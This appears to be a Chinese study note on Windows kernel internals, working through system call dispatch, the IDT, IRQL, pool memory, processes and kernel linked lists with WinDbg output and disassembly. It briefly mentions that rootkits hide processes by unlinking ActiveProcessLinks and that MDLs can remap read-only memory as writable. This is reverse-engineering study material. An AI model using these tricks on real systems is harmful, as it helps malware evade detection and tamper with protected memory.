PCR和PRCB都是没有文档的，只能通过windbg的内核调试来观察他们的定义

dt nt!_KPCR
dt nt!_KPRCB

当前处理器的PCR总是可以在内核模式下通过特殊的寄存器访问到

Windows内核中有两个例程可以获取到当前的KPROCESS和KTHREAD结构体

PsGetCUrrentProcess
PSGetCurrentThread

这两个例程就是通过查询PCR/PRCB来实现的

kd> uf nt!PsGetCurrentThread
nt!PsGetCurrentThread:
fffff800`2ff63770 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff800`2ff63779 c3              ret

gs[0]是PCR结构体的地址，0x180是PRCB在PCR结构体中的偏移量

0x8是CurrentThread在PRCB中的偏移量

因此使用gs[188h]就能获取到KTHREAD结构体

kd> uf nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
fffff800`2fec9770 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff800`2fec9779 488b80b8000000  mov     rax,qword ptr [rax+0B8h]
fffff800`2fec9780 c3              ret

此时rax已经指向了KTHREAD结构体，然后又取得了KTHREAD结构体0xB8偏移量的值，下面是KTHREAD结构体的定义

kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr64 Void
   +0x030 StackLimit       : Ptr64 Void
   +0x038 StackBase        : Ptr64 Void
   +0x040 ThreadLock       : Uint8B
   +0x048 CycleTime        : Uint8B
   +0x050 CurrentRunTime   : Uint4B
   +0x054 ExpectedRunTime  : Uint4B
   +0x058 KernelStack      : Ptr64 Void
   +0x060 StateSaveArea    : Ptr64 _XSAVE_FORMAT
   +0x068 SchedulingGroup  : Ptr64 _KSCHEDULING_GROUP
   +0x070 WaitRegister     : _KWAIT_STATUS_REGISTER
   +0x071 Running          : UChar
   +0x072 Alerted          : [2] UChar
   +0x074 KernelStackResident : Pos 0, 1 Bit
   +0x074 ReadyTransition  : Pos 1, 1 Bit
   +0x074 ProcessReadyQueue : Pos 2, 1 Bit
   +0x074 WaitNext         : Pos 3, 1 Bit
   +0x074 SystemAffinityActive : Pos 4, 1 Bit
   +0x074 Alertable        : Pos 5, 1 Bit
   +0x074 CodePatchInProgress : Pos 6, 1 Bit
   +0x074 UserStackWalkActive : Pos 7, 1 Bit
   +0x074 ApcInterruptRequest : Pos 8, 1 Bit
   +0x074 QuantumEndMigrate : Pos 9, 1 Bit
   +0x074 UmsDirectedSwitchEnable : Pos 10, 1 Bit
   +0x074 TimerActive      : Pos 11, 1 Bit
   +0x074 SystemThread     : Pos 12, 1 Bit
   +0x074 ProcessDetachActive : Pos 13, 1 Bit
   ...
   +0x098 ApcState         : _KAPC_STATE
   +0x098 ApcStateFill     : [43] UChar
   +0x0c3 Priority         : Char
   +0x0c4 UserIdealProcessor : Uint4B
   +0x0c8 WaitStatus       : Int8B
   +0x0d0 WaitBlockList    : Ptr64 _KWAIT_BLOCK
   +0x0d8 WaitListEntry    : _LIST_ENTRY
   ...

首先在KTHREAD结构体中并没有0xB8这个偏移量，只有0x98，很明显该偏移量是一个union，显然应该是ApcState

再加上0x20的偏移量，正好就是0xB8，进而获取到KPROCESS

系统调用

系统调用的实现细节也是没有文档的

系统调用的相关信息存储在这两个数据结构中

service table descriptor
array of function pointers/offsets

service table descriptor没有文档，是别人通过分析KiSystemCall64和KiSystemService例程从而得到该结构的定义的

typedef struct _KSERVICE_TABLE_DESCRIPTOR
{
 PULONG Base; // array of fucntion addresses or offsets
 PULONG Count;
 ULONG Limit; // size of the array
 PUCHAR Number;
 ...
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

system call number就是Base指向的数组中的索引，Limit就是Base指向的数组的长度

内核中有两个全局数组：

KeServiceDescriptorTable
KeServiceDescriptorTableShadow

后者比前者多可一个GUI系统调用表

另外还有两个全局指针分别指向非GUI系统调用的地址以及GUI系统调用的地址：

KiSserviceTable
W32pServiceTable

下面是在32位操作系统中那两个全局数组和两个全局指针的关系

在64位操作系统中，情况稍有不同

这里出现了两个nt!KiServiceTable，不要感到意外，因为nt!KeServiceDescriptorTable本身就是一个表，里面的元素就是一个个的KSERVICE_TABLE_DESCRIPTOR，因此出现一次两次或者更多都是正常现象

先来看一下ntdll!NtCreateFile函数的实现代码：

kd> uf ntdll!NtCreateFile
ntdll!NtCreateFile:
000007fc`2bca30f0 4c8bd1          mov     r10,rcx
000007fc`2bca30f3 b853000000      mov     eax,53h
000007fc`2bca30f8 0f05            syscall
000007fc`2bca30fa c3              ret

上面的汇编代码中，eax就是system call number，即0x53

数组的起始地址：

kd> x nt!KiServiceTable
fffff803`eb4f7200 nt!KiServiceTable (<no parameter info>)

每个系统调用在数组中占用4bytes

那么第0x53号系统调用的值应该为：

kd> dd nt!KiServiceTable+(0x53*4) L1
fffff803`eb4f734c  03e93907

这个数字03e93907是一个被编码过的数字，编码规则如下：

高28位表示偏移量，低4位表示使用需要使用栈传递的参数个数

kd> uf nt!KiServiceTable + (03e93907>>4)
nt!NtCreateFile:
fffff803`eb8e0590 4881ec88000000  sub     rsp,88h
fffff803`eb8e0597 33c0            xor     eax,eax
fffff803`eb8e0599 4889442478      mov     qword ptr [rsp+78h],rax
fffff803`eb8e059e c744247020000000 mov     dword ptr [rsp+70h],20h
fffff803`eb8e05a6 89442468        mov     dword ptr [rsp+68h],eax
fffff803`eb8e05aa 4889442460      mov     qword ptr [rsp+60h],rax
...
fffff803`eb8e05ff 4889442420      mov     qword ptr [rsp+20h],rax
fffff803`eb8e0604 e837f5ffff      call    nt!IopCreateFile (fffff803`eb8dfb40)
fffff803`eb8e0609 4881c488000000  add     rsp,88h
fffff803`eb8e0610 c3              ret

需要通过栈进行传递的参数是7个

一共需要11个参数，前4个是通过寄存器进行传递的

系统调用一般通过中断或者处理器特有的指令实现

Faults Traps Interrupts

这里介绍一些专业术语以便更好的解释外围设备和软件是如何与处理器进行交互的

当代计算机系统中，处理器一般通过数组总线比如PCI、FireWire或者USB等和外围设备进行连接

外围设备发起请求的时候会引发一个interrupt强制中断处理器当前的任务，而让处理器转而去处理该外围设备的请求

笼统的讲，interrupt会和一个数字关联，该数字是一个函数指针数组的索引，当处理器收到请求时，就会根据该interrupt关联的索引找到对应的函数来对该请求进行处理

处理完成（函数返回）后，处理器会返回到之前的任务继续执行

上面这种被称作hardware interrupt，由于外围设备的特性，这种中断天生就是异步的（请求可能在任意时刻产生）

处理器在执行指令的时候可能会遇到异常，比如零除、空指针等

异常可以被分为两类

faults——错误
traps——陷阱

faults是可以被修复的异常

faults：

比如一个指令引用了一个合法的地址，但是该地址中并无数据，此时会引发一个page fault（页错误）异常，并调用page fault handler来修复此异常（通过page in缺失的数据），然后重新执行之前引发异常的指令

traps通常由特殊类型的指令执行引发

traps:

比如在64位操作系统中，SYSCALL指令会使得处理器执行由MSR寄存器指定的地址处的代码，执行完成之后，SYSCALL指令之后的代码会被立即执行

这两者的区别就是handler执行完成之后，下一条指令的位置，前者是同一条指令，而后者则是下一条指令

Interrupts

因特尔架构的处理器定义了一个IDT——interrupt descriptor table

此表长度位256，每一个表项都是一个包含了interrupt handler信息的结构体，IDT的基地址保存在IDTR寄存器中

IDT一部分的表项是预定义的保留项，32-255项可以由用户自行定义

32位操作系统中表项的结构体定义如下，一共是8bytes

kd> dt nt!_KIDTENTRY
   +0x000 Offset           : Uint2B
   +0x002 Selector         : Uint2B
   +0x004 Access           : Uint2B
   +0x006 ExtendedOffset   : Uint2B

64位：

kd> dt nt!_KIDTENTRY64
   +0x000 OffsetLow        : Uint2B
   +0x002 Selector         : Uint2B
   +0x004 IstIndex         : Pos 0, 3 Bits
   +0x004 Reserved0        : Pos 3, 5 Bits
   +0x004 Type             : Pos 8, 5 Bits
   +0x004 Dpl              : Pos 13, 2 Bits
   +0x004 Present          : Pos 15, 1 Bit
   +0x006 OffsetMiddle     : Uint2B
   +0x008 OffsetHigh       : Uint4B
   +0x00c Reserved1        : Uint4B
   +0x000 Alignment        : Uint8B

interrupt handler的offset被分为了高中低三部分

下面来看一下如何解析IDT（x86）

kd> r @idtr
idtr=80efc400
kd> dt nt!_KIDTENTRY 80efc400
   +0x000 Offset           : 0x5284
   +0x002 Selector         : 8
   +0x004 Access           : 0x8e00
   +0x006 ExtendedOffset   : 0x8117
kd> u 0x81175284
nt!KiTrap00:
81175284 6a00            push    0
81175286 66c74424020000  mov     word ptr [esp+2],0
8117528d 55              push    ebp
8117528e 53              push    ebx
8117528f 56              push    esi
81175290 57              push    edi
81175291 0fa0            push    fs
81175293 bb30000000      mov     ebx,30h

很简单，就是把ExtendedOffset作为高16位，Offset作为低16位拼接起来就可以得到interrupt handler的地址了

下面来看一下使用interrupt实现的系统调用

环境位windows7 x86 sp1（debuggee）和windows10 x64 1903（debugger）

调试环境和遇到的问题：

win7镜像依然通过rufus进行下载

kd> uf ntdll!NtCreateFile
ntdll!NtCreateFile:
776850f0 b842000000      mov     eax,42h
776850f5 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
776850fa ff12            call    dword ptr [edx]
776850fc c22c00          ret     2Ch

可以看到，调用了SharedUserData!SystemCallStub指向的函数

书上说，在所有架构的处理器中都有一个叫做KUSER_SHARED_DATA的结构体会映射到0x7ffe0000上

kd> dt ntdll!_KUSER_SHARED_DATA
   +0x000 TickCountLowDeprecated : Uint4B
   +0x004 TickCountMultiplier : Uint4B
   ...
   +0x2f8 TestRetInstruction : Uint8B
   +0x300 SystemCall       : Uint4B
   ...
   +0x3d8 DEPRECATED_SystemDllWowRelocation : Uint4B
   +0x3dc XStatePad        : [1] Uint4B
   +0x3e0 XState           : _XSTATE_CONFIGURATION

那么KUSER_SHARED_DATA偏移量为0x300的地方就是SystemCall，是一个32位的地址

kd> u poi(SharedUserData!SystemCallStub)
ntdll!KiFastSystemCall:
77686bb0 8bd4            mov     edx,esp
77686bb2 0f34            sysenter
ntdll!KiFastSystemCallRet:
77686bb4 c3              ret
77686bb5 8da42400000000  lea     esp,[esp]
77686bbc 8d642400        lea     esp,[esp]
ntdll!KiIntSystemCall:
77686bc0 8d542408        lea     edx,[esp+8]
77686bc4 cd2e            int     2Eh
77686bc6 c3              ret

最后进入了0x2E号中断（这里我分析的不对，根本就不会执行中断，而是执行ntdll!KiFastSystemCall中的sysenter，执行完之后就直接返回了，可能是因为处理器的原因，并没有执行ntdll!KiIntSystemCall的代码）

kd> !idt 0x2E

Dumping IDT: 80b93000

a6eeb3870000002e:   82a4546a nt!KiSystemService

kd> u 82a4546a 
nt!KiSystemService:
82a4546a 6a00            push    0
82a4546c 55              push    ebp
82a4546d 53              push    ebx
82a4546e 56              push    esi
82a4546f 57              push    edi
82a45470 0fa0            push    fs
82a45472 bb30000000      mov     ebx,30h
82a45477 668ee3          mov     fs,bx

可以看到KiSystemSserice是syscall handler dispatcher

Traps

前面已经提到过64位操作系统中ntdll!NtCreateFile使用的0x53号系统调用

kd> uf ntdll!NtCreateFile
ntdll!NtCreateFile:
000007fc`2bca30f0 4c8bd1          mov     r10,rcx
000007fc`2bca30f3 b853000000      mov     eax,53h
000007fc`2bca30f8 0f05            syscall
000007fc`2bca30fa c3              ret

syscall指令可以将执行流程切换至内核模式，那这个切换如何实现的呢？

根据SYSCALL文档，当syscall指令被执行的时候，RIP寄存器会从IA32_LSTAR MSR (0xc0000082)中取值

kd> rdmsr 0xC0000082
msr[c0000082] = fffff803`eb4fadc0
kd> u fffff803`eb4fadc0
nt!KiSystemCall64:
fffff803`eb4fadc0 0f01f8          swapgs
fffff803`eb4fadc3 654889242510000000 mov   qword ptr gs:[10h],rsp
fffff803`eb4fadcc 65488b2425a8010000 mov   rsp,qword ptr gs:[1A8h]
fffff803`eb4fadd5 6a2b            push    2Bh
fffff803`eb4fadd7 65ff342510000000 push    qword ptr gs:[10h]
fffff803`eb4faddf 4153            push    r11
fffff803`eb4fade1 6a33            push    33h
fffff803`eb4fade3 51              push    rcx

世界的尽头就是nt!KiSystemCall64

Windows在系统启动阶段对处理器进行初始化的时候将IA32 LSTAR MSR设置为nt!KiSystemCall64函数的地址

具体实现代码在nt!KiInitializeBootStructures

uf nt!KiInitializeBootStructures
...
fffff803`eb7e4990 488d052964d1ff  lea     rax,[nt!KiSystemCall64 (fffff803`eb4fadc0)]
fffff803`eb7e4997 b9820000c0      mov     ecx,0C0000082h
fffff803`eb7e499c 488bd0          mov     rdx,rax
fffff803`eb7e499f 48c1ea20        shr     rdx,20h
fffff803`eb7e49a3 0f30            wrmsr
...

wrmsr指令会将EDX:EAX写入由ECX寄存器指定的MSR寄存器中：https://www.felixcloutier.com/x86/wrmsr

MSR[ECX] ← EDX:EAX

在上面的汇编代码中，首先将nt!KiSystemCall64函数的地址放到了rax中，然后给rcx赋值

rax值复制到rdx，rdx右移32bit，这样一来edx就是nt!KiSystemCall64函数地址的高32位，eax就是该地址的低32位，执行完wrmsr指令后即可将nt!KiSystemCall64函数的地址写入IA32_LSTAR MSR (0xc0000082)

在执行syscall指令之前，RCX中已经保存了返回地址，因此当syscall做完自己的工作后，就会将RCX中的值放到RIP寄存器中，这样就可以返回到syscall之后的指令处继续执行了

使用traps实现的syscall代码注释

下面来看x86的，32位的Windows操作系统使用SYSENTER指令实现系统调用

kd> u ntdll!NtQueryInformationProcess
ntdll!NtQueryInformationProcess:
770c4fc0 b8b0000000      mov     eax,0B0h
770c4fc5 e803000000      call    ntdll!NtQueryInformationProcess+0xd (770c4fcd)
770c4fca c21400          ret     14h
770c4fcd 8bd4            mov     edx,esp
770c4fcf 0f34            sysenter
770c4fd1 c3              ret
770c4fd2 8bff            mov     edi,edi

ntdll!NtQueryInformationProcess+0xd的代码是

770c4fca c21400          ret     14h
770c4fcd 8bd4            mov     edx,esp

ret 14h说明传入了20字节的参数，一个按照4字节，就是5个参数，用户空间的rsp被保存到了edx寄存器中

Intel文档中规定SYSENTER指令会将EIP设置为MSR（0x176h）的值

kd> rdmsr 176
msr[176] = 00000000`811741d0
kd> u 811741d0
nt!KiFastCallEntry:
811741d0 b923000000      mov     ecx,23h
811741d5 6a30            push    30h
811741d7 0fa1            pop     fs
811741d9 8ed9            mov     ds,cx
811741db 8ec1            mov     es,cx
811741dd 648b0d40000000  mov     ecx,dword ptr fs:[40h]
811741e4 8b6104          mov     esp,dword ptr [ecx+4]
811741e7 6a23            push    23h

和SYSCALL指令不同的是，SYSENTER并不会在寄存器中设置返回地址，那么在系统调用执行完成后，是如何返回到之前的执行流程的呢

关于函数调用过程中，栈空间的变化，参考这篇文章

那么在上面ntdll!NtQueryInformationProcess代码中，函数ntdll!NtQueryInformationProcess+0xd的第一条指令就是将esp保存到edx中，而此时的esp指向的正是该函数的返回地址，也就是RET 14h指令的地址（不要问我为什么不是ebp，因为此处根本就没有push ebp的操作，和参考文章略有不同）

kd> bp ntdll!NtQueryInformationProcess
kd> g
kd> u
ntdll!NtQueryInformationProcess:
770c4fc0 b8b0000000      mov     eax,0B0h
770c4fc5 e803000000      call    ntdll!NtQueryInformationProcess+0xd (770c4fcd)
770c4fca c21400          ret     14h
770c4fcd 8bd4            mov     edx,esp
770c4fcf 0f34            sysenter
770c4fd1 c3              ret
770c4fd2 8bff            mov     edi,edi
kd> dd /c 1 esp L4
03c8eab0  747d10e1
03c8eab4  ffffffff
03c8eab8  0000001a
03c8eabc  03c8eacc
03c8eaec  0002017c
kd> t
eax=000000b0 ebx=063c41e0 ecx=00000030 edx=00000320 esi=06279490 edi=06279480
eip=770c4fc5 esp=03c8eab0 ebp=03c8ead0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!NtQueryInformationProcess+0x5:
001b:770c4fc5 e803000000      call    ntdll!NtQueryInformationProcess+0xd (770c4fcd)
kd> t
eax=000000b0 ebx=063c41e0 ecx=00000030 edx=00000320 esi=06279490 edi=06279480
eip=770c4fcd esp=03c8eaac ebp=03c8ead0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!NtQueryInformationProcess+0xd:
001b:770c4fcd 8bd4            mov     edx,esp
kd> dd /c 1 esp L4
03c8eaac  770c4fca
03c8eab0  747d10e1
03c8eab4  ffffffff
03c8eab8  0000001a

系统调用完成后，syscall dispatcher会执行SYSEXIT指令，根据定义，SYSEXIT指令会将EIP设置为EDX的值，将ESP设置为ECX的值

实际情况是EDX保存的是ntdll!KiFastSystemCallRet函数的地址，ECX保存的是调用ntdll!NtQueryInformationProcess+0xd (770c4fcd)函数之后的esp的值

kd> bp KiSystemCallExit2+18
kd> bl
     0 e Disable Clear  81174458     0001 (0001) nt!KiSystemCallExit2+0x18

kd> g
Breakpoint 0 hit
eax=00000000 ebx=063c41e0 ecx=03c8eaac edx=770c6954 esi=06279490 edi=06279480
eip=81174458 esp=8ba6dfcc ebp=03c8ead0 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286
nt!KiSystemCallExit2+0x18:
81174458 0f35            sysexit
kd> dd /c 1 ecx L1
03c8eaac  770c4fca
kd> u edx
ntdll!KiFastSystemCallRet:
770c6954 c3              ret
770c6955 8da42400000000  lea     esp,[esp]
770c695c 8d642400        lea     esp,[esp]
ntdll!KiIntSystemCall:
770c6960 8d542408        lea     edx,[esp+8]
770c6964 cd2e            int     2Eh
770c6966 c3              ret
770c6967 90              nop
770c6968 90              nop

将EIP设置为EDX的值将会立即执行ntdll!KiFastSystemCallRet函数的ret指令，从栈中取出返回地址，即ecx指向的地址770c4fca，也就是ntdll!NtQueryInformationProcess函数中的ret 14h这条指令的地址

中断请求等级

IRQL——Interrupt Request Level

简单来讲，IRQL就是一个数字，定义在KIRQL结构体中，是一个UCHAR类型，也就是说长度只有1字节，这是一个分配给处理器的数字

IRQL的值越大，优先级就越高

处理器的本地中断控制器中有两个寄存器，一个是可编程的TPR，一个是只读的PPR，可以通过TPR来控制IRQL的值，PPR用于保存当前IRQL的值

在Windows中，可以通过KeRaiseIrql和KeLowerIrql这两个内核函数来控制IRQL，在X64中，可以通过CR8寄存器快速访问TPR

kd> u nt!KzRaiseIrql
nt!KzRaiseIrql:
fffff800`6ccd7260 440f20c0        mov     rax,cr8
fffff800`6ccd7264 0fb6c9          movzx   ecx,cl
fffff800`6ccd7267 440f22c1        mov     cr8,rcx
fffff800`6ccd726b c3              ret

kd> u nt!KzLowerIrql
nt!KzLowerIrql:
fffff800`6ccd72c0 0fb6c1          movzx   eax,cl
fffff800`6ccd72c3 440f22c0        mov     cr8,rax
fffff800`6ccd72c7 c3              ret

Pool Memory

在内存分配方面，内核模式和用户模式很相似，都是在运行时进行

内核模式下的内存叫做pool memory，相当于用户模式下的heap memory

pool memory有两种类型：

paged pool
non-paged pool

关于内存分页机制

这两种类型的pool memory的区别在于，前者可以在任意时刻被交换到硬盘中，而后者永远都不会被交换到硬盘中

对于paged pool，如果内核模式下的代码访问的内存被交换出去了，那么page-fault会被触发从而将对应的内存交换回来，而后者不会触发page-fault

对于运行在高IRQL（>APC_LEVEL）的内核代码，只能使用non-paged pool，因为如果使用paged pool，可能会触发page-fault，从而导致page-fault handler发起缺页中断请求，但是当前运行线程的IRQL太高，比自己低的都会被阻塞，那么这个处理器就完全死掉了，进入了死锁，缺页中断在等待内核代码降低自己IRQL从而将内存交换回来，而内核代码在等待缺页中断将内存交换回来，这将会直接导致内核崩溃

https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/managing-hardware-priorities

Any routine that is running at greater than IRQL APC_LEVEL can neither allocate memory from paged pool nor access memory in paged pool safely. If a routine running at IRQL greater than APC_LEVEL causes a page fault, it is a fatal error.

pool memory的分配和释放分别使用ExAllocatePool *和ExFreePool *函数

Memory Descriptor Lists

MDL

关于MDL的介绍，我放到了这里

多个MDL可以组成链表，MDL中有一个Next成员用于指向下一个MDL

一段buffer的MDL创建之后，对应的物理内存页就可以被锁定在内存中（意味着这段内存暂时不能被复用），然后可以讲这段物理内存映射到虚拟内存中

MDL的一个应用场景就是写入不可写的内存，可以先初始化一个MDL，上锁，然后把这段不可写的虚拟内存对应的物理内存重新映射到可写的虚拟内存中

进程和线程

在Windows操作系统中，线程通过两个内核结构体定义：

ETHREAD
KTHREAD

前者保存一些基本信息，比如线程ID、关联进程等等信息

后者保存调度信息，比如线程栈信息，运行在哪颗处理器上

ETHREAD结构体中包含一个类型为KTHREAD的成员

windows调度器是针对线程进行调度的，而不是进程

一个进程至少包含一个线程（主线程），进程由内核中的两个结构体定义：

EPROCESS
KPROCESS

前者保存进程的基本信息，比如进程ID，security token，线程列表等信息

后者保存调度信息，page directory table，ideal processor等信息

EPROCESS结构体中包含一个类型为KPROCESS的成员

可以通过windbg的dt命令查看这几个结构体的定义

这里以x64举例

kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2c8 ProcessLock      : _EX_PUSH_LOCK
   +0x2d0 CreateTime       : _LARGE_INTEGER
   +0x2d8 RundownProtect   : _EX_RUNDOWN_REF
   +0x2e0 UniqueProcessId  : Ptr64 Void
   +0x2e8 ActiveProcessLinks : _LIST_ENTRY
   ...
kd> dt nt!_KPROCESS
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 ProfileListHead  : _LIST_ENTRY
   +0x028 DirectoryTableBase : Uint8B
   +0x030 ThreadListHead   : _LIST_ENTRY
   +0x040 ProcessLock      : Uint4B
   +0x044 Spare0           : Uint4B
   +0x048 Affinity         : _KAFFINITY_EX
   ...
kd> dt nt!_ETHREAD
   +0x000 Tcb              : _KTHREAD
   +0x348 CreateTime       : _LARGE_INTEGER
   +0x350 ExitTime         : _LARGE_INTEGER
   +0x350 KeyedWaitChain   : _LIST_ENTRY
   +0x360 ChargeOnlySession : Ptr64 Void
   +0x368 PostBlockList    : _LIST_ENTRY
   ...
kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : Ptr64 Void
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr64 Void
   +0x030 StackLimit       : Ptr64 Void
   +0x038 StackBase        : Ptr64 Void
   ...

rootkit通过删除_EPROCESS结构体中的ActiveProcessLinks成员来隐藏特定的进程

不过该成员在结构体中的偏移量可能会随着windows版本的不同而发生变化

在用户模式中，也由于上述结构体对应的概念存在，PEB和TED分别为进程环境块和线程环境块，用于描述进程和线程的基本信息

nt!_PEB
nt!_TEB

用户模式的代码可以通过FS（x86）和GS（x64）段寄存器访问TEB

execution context

从内核的角度来看，execution context可以被分为三类

Thread Context
System Context
Arbitrary Context

代码运行时所处的context决定了你当前位于哪块地址空间以及你所拥有的security privilege

内核同步原语

事件、自旋锁、互斥量、资源锁、定时器这些是最常用的同步原语

事件可以有两种状态

signaled
non-signaled

事件在内核中通过KEVENT结构体定义，通过KeInitializeEvent函数来初始化

线程可以通过KeWaitForSingleObject或KeWaitForMultipleObjects来等待事件

事件通常被驱动用来通知其他的线程某种特定的条件已被满足

定时器在内核中由KTIMER结构体定义，通过KeInitializeTimer(Ex)初始化

可以在初始化定时器的时候指定一个DPC例程，当定时器过期的时候执行该例程

互斥量、自旋锁不再介绍，学过操作系统原理的都懂

Lists

链表是创建内核和驱动中的动态数据块的重要基础

许多内核结构体都是基于链表创建的

在WDK头文件中，可能会存在几个操作链表的函数：

InsertHeadList
InsertTailList
RemoveHeadList
RemoveEntryList
...

但是这些函数基本上都是使用inline关键字修饰的，在编译阶段会被优化到caller中变成一段代码，而不是函数，因此你不会在汇编代码中看到类似call InsertHeadList这样的指令

实现细节

WDK中定义的函数支持以下几种类型的链表

单链表——每个entry中只有一个Next指针
Sequenced单链表——与上面单链表的唯一区别就是它支持原子操作，在更改这种类型的链表之前不需要申请加锁
循环双链表——每个entry中拥有两个指针，指向前面entry的Blink以及指向后面entry的Flink

本章只介绍最后一种类型的链表，因为它是用的最多的

双链表entry（节点）的定义

typedef struct _LIST_ENTRY {
    struct _LIST_ENTRY *Flink；  // forward link，指向自己后面的节点
    struct _LIST_ENTRY *Blink;   // backward link，指向自己前面的节点
} LIST_ENTRY, *PLIST_ENTRY;

一般来讲，LIST_ENTRY中会存储数据，但是实际上，LIST_ENTRY只存储了两个LIST_ENTRY指针，LIST_ENTRY会被嵌入到真正储存数据的其他结构体中

使用函数InitializaListHead函数初始化链表，该函数会使设置Flink和Blink这两个指针指向链表头结点

VOID InitializeListHead(PLIST_ENTRY ListHead) {
    ListHead->Flink = ListHead->Blink = ListHead;
    return;
}

该函数的汇编代码

4和8是Blink在LIST_ENTRY中的偏移量，eax和r11是ListHead

在初始化之后，就可以对链表进行插入了，可以插入到头部或者尾部

看一下KDPC结构体的定义

kd> dt nt!_KDPC
   +0x000 Type             : UChar
   +0x001 Importance       : UChar
   +0x002 Number           : Uint2B
   +0x008 DpcListEntry     : _LIST_ENTRY     ; 正如上面所说，LIST_ENTRY被嵌入到其他结构体中
   +0x018 DeferredRoutine  : Ptr64     void 
   +0x020 DeferredContext  : Ptr64 Void
   +0x028 SystemArgument1  : Ptr64 Void
   +0x030 SystemArgument2  : Ptr64 Void
   +0x038 DpcData          : Ptr64 Void

插入之后链表就变成了下面这个样子

由原来的Flink和Blink都指向自己变成了都指向KDPC结构体中的LIST_ENTRY结构体（DPCListEntry）

然后DpcListEntry的Flink和Blink都指向头结点（因为现在只有两个节点，所以每个节点的头尾指针指向的都是同一个节点）

使用InsertHeadList从头部插入一个KDPC节点，此时链表将会变成下面这个样子

注意在上图中，中间的那个是新插入的节点，可以集合下面的反编译代码理解

下面是反编译出来的InsertHeadList函数

VOID InsertHeadList(PLIST_ENTRY ListHead, PLIST_ENTRY Entry) {
     PLIST_ENTRY Flink;
     Flink = ListHead->Flink;
     Entry->Flink = Flink;
     Entry->Blink = ListHead;
     Flink->Blink = Entry;
     ListHead->Flink = Entry;
     return;
}

新插入节点的Flink将会指向之前的节点，而之前的节点就是Listhead->Flink，因此有Entry->Flink = ListHead->Flink

新节点的Blink将会指向头结点，即Entry->Blink = ListHead

头结点的Flink将会指向新的节点，ListHead->Flink = Entry

之前的节点，也就是ListHead->Flink的Blink将会指向新的节点，因此有ListHead->Flink(Flink)->Blink = Entry

头结点的Blink和之前节点的Flink无需变动

汇编代码

上面的x86代码中，ebx是ListHead，ecx是Entry，由于Flink是ListEntry第一个成员，所以和ListHead->Flink就是[ebx]

x64代码中，rdi是ListHead，rax是Entry

使用InsertTailList可以从链表尾部插入一个节点，链表将会变成下面这个样子

结合下面的反汇编代码理解

VOID InsertTailList(PLIST_ENTRY ListHead, PLIST_ENTRY Entry) {
    PLIST_ENTRY Blink;
    Blink = ListHead->Blink;
    Entry->Flink = ListHead;
    Entry->Blink = Blink;
    Blink->Flink = Entry;
    ListHead->Blink = Entry;
    return;
}

Header的Blink和OldEntry的Flink发生了变化，都变成指向NewEntry

ListHead->Blink = Entry

ListHead->Flink/Blink(Blink)->Flink = Entry

NewEntry的Flink和Blink分别指向Header和OldEntry

Entry->Flink= ListHead

Entry->Blink = ListHead->Flink/Blink(Blink)

汇编代码

x86：ebx是ListHead，eax是Entry

x64：rdi是ListHead，rax是Entry

移除节点的函数有三个

RemoveHeadList
RemoveTailList
RemoveEntryList

这几个函数在执行之前都会先执行一下IsListEmpty这个函数来判断当前链表的头结点的Flink是不是指向他自己，如果是，说明该链表只有一个头结点，也就相当于这个链表是空的

isListEmpty:

BOOLEAN IsListEmpty(PLIST_ENTRY ListHead) {
    return (BOOLEAN)(ListHead->Flink == ListHead);
}

汇编代码

代码很好理解，esi和rbx是ListHead，[esi]和[rbx]是ListHead->Flink

RemoveHeadList

PLIST_ENTRY RemoveHeadList(PLIST_ENTRY ListHead) {
    PLIST_ENTRY Flink;
    PLIST_ENTRY Entry;
    Entry = ListHead->Flink;
    Flink = Entry->Flink;
    ListHead->Flink = Flink;
    Flink->Blink = ListHead;
    return Entry;
}

把头结点的Flink所指向的节点删除掉了，头结点的Flink转而指向ListHead->Flink->Flink，即要删除的节点的Flink所指向的节点

而ListHead->Flink->Flink的Blink转而指向ListHead

汇编代码

esi和rbx是ListHead，eax和rax是要删除的节点，ecx和rcx是要删除的节点的Flink指向的节点

RemoveTailList

PLIST_ENTRY RemoveTailList(PLIST_ENTRY ListHead) { 
    PLIST_ENTRY Blink;
    PLIST_ENTRY Entry;
    Entry = ListHead->Blink;
    Blink = Entry->Blink;
    ListHead->Blink = Blink;
    Blink->Flink = ListHead;
    return Entry;
}

不再赘述，和RemoveHeadList差不多

edi和rdi是ListHead，ebx和rsi是Entry，eax和rax是要删除的节点Blink指向的节点

RemoveEntryList

x64下的汇编代码

fffff803`85c8aa8e 488b07          mov     rax,qword ptr [rdi]
fffff803`85c8aa91 483bc7          cmp     rax,rdi
fffff803`85c8aa94 0f8599000000    jne     nt!AlpcSectionDeleteProcedure+0x113 (fffff803`85c8ab33)  Branch
fffff803`85c8ab33 488b4f08        mov     rcx,qword ptr [rdi+8]
fffff803`85c8ab37 48397808        cmp     qword ptr [rax+8],rdi
fffff803`85c8ab3b 7522            jne     nt!AlpcSectionDeleteProcedure+0x13f (fffff803`85c8ab5f)  Branch

nt!AlpcSectionDeleteProcedure+0x11d:
fffff803`85c8ab3d 483939          cmp     qword ptr [rcx],rdi
fffff803`85c8ab40 751d            jne     nt!AlpcSectionDeleteProcedure+0x13f (fffff803`85c8ab5f)  Branch

nt!AlpcSectionDeleteProcedure+0x122:
fffff803`85c8ab42 488901          mov     qword ptr [rcx],rax
fffff803`85c8ab45 48894808        mov     qword ptr [rax+8],rcx
fffff803`85c8ab49 48897f08        mov     qword ptr [rdi+8],rdi
